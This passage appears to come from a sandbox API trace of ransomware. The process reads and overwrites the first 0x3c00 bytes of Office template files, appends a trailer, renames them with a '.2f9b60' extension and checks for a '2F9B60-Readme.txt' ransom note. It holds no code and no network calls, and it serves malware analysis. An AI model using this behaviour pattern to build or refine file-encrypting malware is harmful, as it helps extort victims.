0x3c4e9170 [0139.794] RtlRandomEx (in: Seed=0x3998fc70 | out: Seed=0x3998fc70) returned 0x43f1737a [0139.794] RtlRandomEx (in: Seed=0x3998fc70 | out: Seed=0x3998fc70) returned 0x2ee2f3b5 [0139.794] RtlRandomEx (in: Seed=0x3998fc70 | out: Seed=0x3998fc70) returned 0x56eb39b4 [0139.794] RtlRandomEx (in: Seed=0x3998fc70 | out: Seed=0x3998fc70) returned 0x62d6d3 [0139.794] RtlRandomEx (in: Seed=0x3998fc70 | out: Seed=0x3998fc70) returned 0x3451c122 [0139.794] RtlRandomEx (in: Seed=0x3998fc70 | out: Seed=0x3998fc70) returned 0x10b2349d [0139.794] RtlRandomEx (in: Seed=0x3998fc70 | out: Seed=0x3998fc70) returned 0x601ae9e2 [0139.794] RtlRandomEx (in: Seed=0x3998fc70 | out: Seed=0x3998fc70) returned 0x1a5f3486 [0139.794] RtlRandomEx (in: Seed=0x3998fc70 | out: Seed=0x3998fc70) returned 0x9082abf [0139.794] RtlRandomEx (in: Seed=0x3998fc70 | out: Seed=0x3998fc70) returned 0x218a9ada [0139.795] RtlRandomEx (in: Seed=0x3998fc70 | out: Seed=0x3998fc70) returned 0x5e18c0e2 [0139.795] RtlRandomEx (in: Seed=0x3998fc70 | out: Seed=0x3998fc70) returned 0x2be2935a [0139.795] RtlRandomEx (in: Seed=0x3998fc70 | out: Seed=0x3998fc70) returned 0x3d1d918f [0139.795] RtlRandomEx (in: Seed=0x3998fc70 | out: Seed=0x3998fc70) returned 0x5e994b22 [0139.795] RtlRandomEx (in: Seed=0x3998fc70 | out: Seed=0x3998fc70) returned 0x5e28fedc [0139.795] RtlRandomEx (in: Seed=0x3998fc70 | out: Seed=0x3998fc70) returned 0x4cd4fe93 [0139.795] RtlRandomEx (in: Seed=0x3998fc70 | out: Seed=0x3998fc70) returned 0xc983eed [0139.795] RtlRandomEx (in: Seed=0x3998fc70 | out: Seed=0x3998fc70) returned 0x583efcd3 [0139.795] RtlRandomEx (in: Seed=0x3998fc70 | out: Seed=0x3998fc70) returned 0x221006f7 [0139.795] RtlRandomEx (in: Seed=0x3998fc70 | out: Seed=0x3998fc70) returned 0x5f735b0b [0139.795] RtlRandomEx (in: Seed=0x3998fc70 | out: Seed=0x3998fc70) returned 0x172cd155 [0139.795] RtlRandomEx (in: Seed=0x3998fc70 | out: Seed=0x3998fc70) returned 0x1d41b83 [0139.795] RtlRandomEx (in: Seed=0x3998fc70 | out: Seed=0x3998fc70) returned 0x46c4f95b [0139.795] RtlRandomEx (in: Seed=0x3998fc70 | out: Seed=0x3998fc70) returned 0x42f51b21 [0139.795] RtlRandomEx (in: Seed=0x3998fc70 | out: Seed=0x3998fc70) returned 0x79dd2614 [0139.795] RtlRandomEx (in: Seed=0x3998fc70 | out: Seed=0x3998fc70) returned 0x7327c20 [0139.795] RtlRandomEx (in: Seed=0x3998fc70 | out: Seed=0x3998fc70) returned 0x1e2cf523 [0139.805] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b670 [0139.805] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061330 [0139.806] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b640 [0139.806] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061330) returned 1 [0139.806] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b5b0) returned 1 [0139.806] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aaa40) returned 1 [0139.806] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421689a0 [0139.806] SetFilePointerEx (in: hFile=0x1b98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.807] ReadFile (in: hFile=0x1b98, lpBuffer=0x421689a0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3998fce0, lpOverlapped=0x0 | out: lpBuffer=0x421689a0*, lpNumberOfBytesRead=0x3998fce0*=0x3c00, lpOverlapped=0x0) returned 1 [0139.808] SetFilePointerEx (in: hFile=0x1b98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.808] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0139.808] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061330 [0139.808] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaa40 [0139.809] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aaa40) returned 1 [0139.809] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4216c5b0 [0139.809] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaa40 [0139.809] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b5b0 [0139.810] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b5b0) returned 1 [0139.810] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061330) returned 1 [0139.810] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0139.810] WriteFile (in: hFile=0x1b98, lpBuffer=0x4216c5b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3998fce0, lpOverlapped=0x0 | out: lpBuffer=0x4216c5b0*, lpNumberOfBytesWritten=0x3998fce0*=0x3c00, lpOverlapped=0x0) returned 1 [0166.173] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4216c5b0) returned 1 [0166.173] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421689a0) returned 1 [0166.173] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x423a1a60 [0166.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97490 [0166.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867d40 [0166.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1a90 [0166.174] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1a90) returned 1 [0166.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x423a1a90 [0166.175] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1af0 [0166.175] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1ac0 [0166.175] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1ac0) returned 1 [0166.175] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867d40) returned 1 [0166.176] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97490) returned 1 [0166.176] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x42c17a10 [0166.176] SetFilePointerEx (in: hFile=0x1b98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0166.176] WriteFile (in: hFile=0x1b98, lpBuffer=0x42c17a10*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x3998fd90, lpOverlapped=0x0 | out: lpBuffer=0x42c17a10*, lpNumberOfBytesWritten=0x3998fd90*=0x108, lpOverlapped=0x0) returned 1 [0206.783] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c620 [0206.784] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebaf60 [0206.784] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f0a0 [0206.785] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f0a0) returned 1 [0206.785] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x42c0eae0 [0206.785] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f0a0 [0206.785] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050dfc0 [0206.786] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050dfc0) returned 1 [0206.786] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebaf60) returned 1 [0206.787] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c620) returned 1 [0206.787] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cd9fb70 [0206.787] sprintf (in: _Dest=0x1cd9fb70, _Format="%c%c" | out: _Dest="d0") returned 2 [0206.787] sprintf (in: _Dest=0x1cd9fb72, _Format="%c%c" | out: _Dest="82") returned 2 [0206.787] sprintf (in: _Dest=0x1cd9fb74, _Format="%c%c" | out: _Dest="9a") returned 2 [0206.787] sprintf (in: _Dest=0x1cd9fb76, _Format="%c%c" | out: _Dest="21") returned 2 [0206.787] sprintf (in: _Dest=0x1cd9fb78, _Format="%c%c" | out: _Dest="de") returned 2 [0206.787] sprintf (in: _Dest=0x1cd9fb7a, _Format="%c%c" | out: _Dest="b2") returned 2 [0206.787] sprintf (in: _Dest=0x1cd9fb7c, _Format="%c%c" | out: _Dest="30") returned 2 [0206.787] sprintf (in: _Dest=0x1cd9fb7e, _Format="%c%c" | out: _Dest="dd") returned 2 [0206.787] sprintf (in: _Dest=0x1cd9fb80, _Format="%c%c" | out: _Dest="86") returned 2 [0206.787] sprintf (in: _Dest=0x1cd9fb82, _Format="%c%c" | out: _Dest="e8") returned 2 [0206.787] sprintf (in: _Dest=0x1cd9fb84, _Format="%c%c" | out: _Dest="f6") returned 2 [0206.787] sprintf (in: _Dest=0x1cd9fb86, _Format="%c%c" | out: _Dest="1b") returned 2 [0206.787] sprintf (in: _Dest=0x1cd9fb88, _Format="%c%c" | out: _Dest="51") returned 2 [0206.787] sprintf (in: _Dest=0x1cd9fb8a, _Format="%c%c" | out: _Dest="89") returned 2 [0206.787] sprintf (in: _Dest=0x1cd9fb8c, _Format="%c%c" | out: _Dest="99") returned 2 [0206.787] sprintf (in: _Dest=0x1cd9fb8e, _Format="%c%c" | out: _Dest="a2") returned 2 [0206.787] sprintf (in: _Dest=0x1cd9fb90, _Format="%c%c" | out: _Dest="43") returned 2 [0206.788] sprintf (in: _Dest=0x1cd9fb92, _Format="%c%c" | out: _Dest="88") returned 2 [0206.788] sprintf (in: _Dest=0x1cd9fb94, _Format="%c%c" | out: _Dest="88") returned 2 [0206.788] sprintf (in: _Dest=0x1cd9fb96, _Format="%c%c" | out: _Dest="b1") returned 2 [0206.788] sprintf (in: _Dest=0x1cd9fb98, _Format="%c%c" | out: _Dest="5c") returned 2 [0206.788] sprintf (in: _Dest=0x1cd9fb9a, _Format="%c%c" | out: _Dest="65") returned 2 [0206.788] RtlInitAnsiString (in: DestinationString=0x3998fe08, SourceString="d0829a21deb230dd86e8f61b518999a2438888b15c65" | out: DestinationString="d0829a21deb230dd86e8f61b518999a2438888b15c65") [0206.788] RtlAnsiStringToUnicodeString (in: DestinationString=0x3998fdd8, SourceString="d0829a21deb230dd86e8f61b518999a2438888b15c65", AllocateDestinationString=1 | out: DestinationString="d0829a21deb230dd86e8f61b518999a2438888b15c65") returned 0x0 [0206.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1b7a32d0 [0206.788] wcscat (in: _Dest=0x4314eca0, _Source="d0829a21deb" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\d0829a21deb") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\d0829a21deb" [0206.788] wcscat (in: _Dest=0x4314eca0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\d0829a21deb.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\d0829a21deb.2f9b60" [0206.788] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\d0829a21deb.2f9b60", NtPathName=0x3998fdb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\d0829a21deb.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0206.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbe) returned 0x4310ab30 [0237.803] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4310ab30) returned 1 [0237.803] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf49a80) returned 1 [0237.804] NtQueryInformationFile (in: FileHandle=0x1b98, IoStatusBlock=0x3998fe18, FileInformation=0x3998fe28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3998fe18, FileInformation=0x3998fe28) returned 0x0 [0237.804] NtSetInformationFile (FileHandle=0x1b98, IoStatusBlock=0x3998fe18, FileInformation=0x3998fe28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0239.842] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4314eca0) returned 1 [0239.844] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a32d0) returned 1 [0239.844] FlushFileBuffers (hFile=0x1b98) returned 1 [0240.096] CloseHandle (hObject=0x1b98) returned 1 [0242.760] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1ce11290 [0242.761] wcscpy (in: _Dest=0x1ce11290, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\" [0242.761] wcscat (in: _Dest=0x1ce11290, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2F9B60-Readme.txt" [0242.761] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\2f9b60-readme.txt")) returned 0x20 [0242.762] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce11290) returned 1 [0242.763] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b0ab0) returned 1 Thread: id = 2140 os_tid = 0x14f4 [0139.815] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2 Right.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\2 right.accdt")) returned 0x20 [0139.816] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2 Right.accdt", dwFileAttributes=0x20) returned 1 [0139.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2 Right.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\2 right.accdt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b90 [0139.817] GetFileSizeEx (in: hFile=0x1b90, lpFileSize=0x39aafca0 | out: lpFileSize=0x39aafca0*=25350) returned 1 [0139.817] SetFilePointerEx (in: hFile=0x1b90, liDistanceToMove=0x6302, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.817] ReadFile (in: hFile=0x1b90, lpBuffer=0x39aafc20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x39aafc68, lpOverlapped=0x0 | out: lpBuffer=0x39aafc20*, lpNumberOfBytesRead=0x39aafc68*=0x4, lpOverlapped=0x0) returned 1 [0139.820] SetFilePointerEx (in: hFile=0x1b90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.820] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b5b0 [0139.821] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b010 [0139.821] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b850 [0139.821] NtQuerySystemTime (in: CurrentTime=0x39aafb60 | out: CurrentTime=0x39aafb60*=132462177450562000) returned 0x0 [0139.821] RtlRandomEx (in: Seed=0x39aafb50 | out: Seed=0x39aafb50) returned 0x2fb7ffe7 [0139.821] RtlRandomEx (in: Seed=0x39aafb50 | out: Seed=0x39aafb50) returned 0x5c587eeb [0139.821] RtlRandomEx (in: Seed=0x39aafb50 | out: Seed=0x39aafb50) returned 0x26aa53d5 [0139.821] RtlRandomEx (in: Seed=0x39aafb50 | out: Seed=0x39aafb50) returned 0x1c48d4ee [0139.821] RtlRandomEx (in: Seed=0x39aafb50 | out: Seed=0x39aafb50) returned 0x5d6cfe54 [0139.821] RtlRandomEx (in: Seed=0x39aafb50 | out: Seed=0x39aafb50) returned 0x6e561dce [0139.821] RtlRandomEx (in: Seed=0x39aafb50 | out: Seed=0x39aafb50) returned 0x60d6c349 [0139.822] RtlRandomEx (in: Seed=0x39aafb50 | out: Seed=0x39aafb50) returned 0x5bebbf22 [0139.822] RtlRandomEx (in: Seed=0x39aafb50 | out: Seed=0x39aafb50) returned 0x1987e02c [0139.822] RtlRandomEx (in: Seed=0x39aafb50 | out: Seed=0x39aafb50) returned 0x48061ac4 [0139.822] RtlRandomEx (in: Seed=0x39aafb50 | out: Seed=0x39aafb50) returned 0x57506ab6 [0139.822] RtlRandomEx (in: Seed=0x39aafb50 | out: Seed=0x39aafb50) returned 0x31e91aa8 [0139.822] RtlRandomEx (in: Seed=0x39aafb50 | out: Seed=0x39aafb50) returned 0x5e530e45 [0139.822] RtlRandomEx (in: Seed=0x39aafb50 | out: Seed=0x39aafb50) returned 0x2bb82587 [0139.822] RtlRandomEx (in: Seed=0x39aafb50 | out: Seed=0x39aafb50) returned 0x175422f2 [0139.822] RtlRandomEx (in: Seed=0x39aafb50 | out: Seed=0x39aafb50) returned 0x4f8eec54 [0139.822] RtlRandomEx (in: Seed=0x39aafb50 | out: Seed=0x39aafb50) returned 0x636ecfc7 [0139.822] RtlRandomEx (in: Seed=0x39aafb50 | out: Seed=0x39aafb50) returned 0x66bc2b05 [0139.822] RtlRandomEx (in: Seed=0x39aafb50 | out: Seed=0x39aafb50) returned 0x69b14067 [0139.822] RtlRandomEx (in: Seed=0x39aafb50 | out: Seed=0x39aafb50) returned 0x7c3f5df4 [0139.822] RtlRandomEx (in: Seed=0x39aafb50 | out: Seed=0x39aafb50) returned 0x1370903c [0139.822] RtlRandomEx (in: Seed=0x39aafb50 | out: Seed=0x39aafb50) returned 0x79dd2614 [0139.822] RtlRandomEx (in: Seed=0x39aafb50 | out: Seed=0x39aafb50) returned 0x63e071a2 [0139.822] RtlRandomEx (in: Seed=0x39aafb50 | out: Seed=0x39aafb50) returned 0x3585710d [0139.822] RtlRandomEx (in: Seed=0x39aafb50 | out: Seed=0x39aafb50) returned 0x42f8daef [0139.822] RtlRandomEx (in: Seed=0x39aafb50 | out: Seed=0x39aafb50) returned 0x3e47155f [0139.822] RtlRandomEx (in: Seed=0x39aafb50 | out: Seed=0x39aafb50) returned 0x3c9e0cd2 [0139.822] RtlRandomEx (in: Seed=0x39aafb50 | out: Seed=0x39aafb50) returned 0x44558763 [0139.822] RtlRandomEx (in: Seed=0x39aafb50 | out: Seed=0x39aafb50) returned 0x57bf3184 [0139.822] RtlRandomEx (in: Seed=0x39aafb50 | out: Seed=0x39aafb50) returned 0x5dcb7939 [0139.822] RtlRandomEx (in: Seed=0x39aafb50 | out: Seed=0x39aafb50) returned 0x596c3d92 [0139.822] RtlRandomEx (in: Seed=0x39aafb50 | out: Seed=0x39aafb50) returned 0x21e5af31 [0139.833] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b7c0 [0139.833] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061330 [0139.833] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b880 [0139.834] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061330) returned 1 [0139.834] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b850) returned 1 [0139.834] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b5b0) returned 1 [0139.834] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421701c0 [0139.834] SetFilePointerEx (in: hFile=0x1b90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.834] ReadFile (in: hFile=0x1b90, lpBuffer=0x421701c0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x39aafbc0, lpOverlapped=0x0 | out: lpBuffer=0x421701c0*, lpNumberOfBytesRead=0x39aafbc0*=0x3c00, lpOverlapped=0x0) returned 1 [0139.883] SetFilePointerEx (in: hFile=0x1b90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.883] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0139.883] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061330 [0139.883] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b8b0 [0139.884] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b8b0) returned 1 [0139.884] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4217b5f0 [0139.884] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b8b0 [0139.884] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b940 [0139.884] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b940) returned 1 [0139.885] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061330) returned 1 [0139.885] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0139.885] WriteFile (in: hFile=0x1b90, lpBuffer=0x4217b5f0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x39aafbc0, lpOverlapped=0x0 | out: lpBuffer=0x4217b5f0*, lpNumberOfBytesWritten=0x39aafbc0*=0x3c00, lpOverlapped=0x0) returned 1 [0166.192] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4217b5f0) returned 1 [0166.192] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421701c0) returned 1 [0166.192] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x423a14c0 [0166.193] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ce0 [0166.193] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061fb0 [0166.193] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a13a0 [0166.194] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a13a0) returned 1 [0166.194] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x423a13a0 [0166.194] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a13d0 [0166.194] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1430 [0166.194] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1430) returned 1 [0166.194] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061fb0) returned 1 [0166.195] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ce0) returned 1 [0166.195] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10c) returned 0x423abcd0 [0166.195] SetFilePointerEx (in: hFile=0x1b90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0166.195] WriteFile (in: hFile=0x1b90, lpBuffer=0x423abcd0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x39aafc70, lpOverlapped=0x0 | out: lpBuffer=0x423abcd0*, lpNumberOfBytesWritten=0x39aafc70*=0x10c, lpOverlapped=0x0) returned 1 [0200.064] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420593d0 [0200.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420614b0 [0200.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff280 [0200.066] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff280) returned 1 [0200.066] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x204ff280 [0200.066] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff1c0 [0200.066] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd690 [0200.067] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd690) returned 1 [0200.067] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420614b0) returned 1 [0200.067] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420593d0) returned 1 [0200.067] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1cd9f5b0 [0200.068] sprintf (in: _Dest=0x1cd9f5b0, _Format="%c%c" | out: _Dest="44") returned 2 [0200.068] sprintf (in: _Dest=0x1cd9f5b2, _Format="%c%c" | out: _Dest="c2") returned 2 [0200.068] sprintf (in: _Dest=0x1cd9f5b4, _Format="%c%c" | out: _Dest="41") returned 2 [0200.068] sprintf (in: _Dest=0x1cd9f5b6, _Format="%c%c" | out: _Dest="1d") returned 2 [0200.068] sprintf (in: _Dest=0x1cd9f5b8, _Format="%c%c" | out: _Dest="73") returned 2 [0200.068] sprintf (in: _Dest=0x1cd9f5ba, _Format="%c%c" | out: _Dest="57") returned 2 [0200.068] sprintf (in: _Dest=0x1cd9f5bc, _Format="%c%c" | out: _Dest="49") returned 2 [0200.068] sprintf (in: _Dest=0x1cd9f5be, _Format="%c%c" | out: _Dest="52") returned 2 [0200.068] sprintf (in: _Dest=0x1cd9f5c0, _Format="%c%c" | out: _Dest="fa") returned 2 [0200.068] sprintf (in: _Dest=0x1cd9f5c2, _Format="%c%c" | out: _Dest="d6") returned 2 [0200.068] sprintf (in: _Dest=0x1cd9f5c4, _Format="%c%c" | out: _Dest="95") returned 2 [0200.068] sprintf (in: _Dest=0x1cd9f5c6, _Format="%c%c" | out: _Dest="f4") returned 2 [0200.068] sprintf (in: _Dest=0x1cd9f5c8, _Format="%c%c" | out: _Dest="c7") returned 2 [0200.068] sprintf (in: _Dest=0x1cd9f5ca, _Format="%c%c" | out: _Dest="c7") returned 2 [0200.068] sprintf (in: _Dest=0x1cd9f5cc, _Format="%c%c" | out: _Dest="6a") returned 2 [0200.068] sprintf (in: _Dest=0x1cd9f5ce, _Format="%c%c" | out: _Dest="a7") returned 2 [0200.068] sprintf (in: _Dest=0x1cd9f5d0, _Format="%c%c" | out: _Dest="b9") returned 2 [0200.068] sprintf (in: _Dest=0x1cd9f5d2, _Format="%c%c" | out: _Dest="30") returned 2 [0200.068] sprintf (in: _Dest=0x1cd9f5d4, _Format="%c%c" | out: _Dest="a2") returned 2 [0200.068] sprintf (in: _Dest=0x1cd9f5d6, _Format="%c%c" | out: _Dest="d3") returned 2 [0200.068] sprintf (in: _Dest=0x1cd9f5d8, _Format="%c%c" | out: _Dest="2d") returned 2 [0200.068] sprintf (in: _Dest=0x1cd9f5da, _Format="%c%c" | out: _Dest="b6") returned 2 [0200.068] sprintf (in: _Dest=0x1cd9f5dc, _Format="%c%c" | out: _Dest="5c") returned 2 [0200.068] sprintf (in: _Dest=0x1cd9f5de, _Format="%c%c" | out: _Dest="fc") returned 2 [0200.068] sprintf (in: _Dest=0x1cd9f5e0, _Format="%c%c" | out: _Dest="c2") returned 2 